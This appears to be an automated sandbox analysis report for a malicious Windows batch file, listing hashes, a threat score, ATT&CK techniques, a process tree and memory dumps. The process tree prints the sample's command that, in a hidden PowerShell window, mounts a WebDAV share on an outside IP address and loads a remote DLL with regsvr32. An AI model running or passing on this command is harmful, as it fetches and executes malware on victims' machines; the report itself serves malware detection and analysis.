79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 07:40

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General

Target

2548871112584911085.bat
Size

16KB
MD5

53a1764f4250fd1671d481fe6e28f395
SHA1

a1466bd77d75acf0ac304e993d56fcfc5d38ecc1
SHA256

79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6
SHA512

74e0b7c85bd43502e5ed99d9b812f494d209afa919ab0cca43d9fcfce94c0fa4dccaeb0b21b3d8df432fa80ff025f042d463e35cf9035e444ade874ee76868f2
SSDEEP

384:PsdWvDIvtS6/KLJoIJXgqQDmdF/0SR0WsK:PG4hLO6Xyydx7R0WsK

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2804	wordpad.exe
2804	wordpad.exe
2804	wordpad.exe
2804	wordpad.exe
2804	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2804	2172	cmd.exe	31
PID 2172 wrote to memory of 2804	2172	cmd.exe	31
PID 2172 wrote to memory of 2804	2172	cmd.exe	31
PID 2172 wrote to memory of 2740	2172	cmd.exe	32
PID 2172 wrote to memory of 2740	2172	cmd.exe	32
PID 2172 wrote to memory of 2740	2172	cmd.exe	32
PID 2740 wrote to memory of 2332	2740	powershell.exe	34
PID 2740 wrote to memory of 2332	2740	powershell.exe	34
PID 2740 wrote to memory of 2332	2740	powershell.exe	34
PID 2740 wrote to memory of 2704	2740	powershell.exe	35
PID 2740 wrote to memory of 2704	2740	powershell.exe	35
PID 2740 wrote to memory of 2704	2740	powershell.exe	35
PID 2740 wrote to memory of 2704	2740	powershell.exe	35
PID 2740 wrote to memory of 2704	2740	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2548871112584911085.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2332
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
    3⤵
    PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2172-16-0x0000000002320000-0x0000000002420000-memory.dmp

Filesize
1024KB

Download
memory/2172-17-0x0000000002320000-0x0000000002420000-memory.dmp

Filesize
1024KB

Download
memory/2740-24-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2740-23-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download